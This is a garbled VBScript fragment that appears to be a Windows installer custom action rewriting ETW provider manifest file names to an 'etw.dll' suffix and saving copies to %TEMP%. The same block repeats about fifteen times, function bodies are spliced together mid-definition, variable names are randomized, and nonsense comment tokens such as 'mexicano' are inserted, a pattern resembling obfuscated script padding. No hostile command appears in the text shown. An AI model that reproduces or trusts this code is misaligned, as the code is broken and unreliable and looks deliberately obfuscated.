= RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function 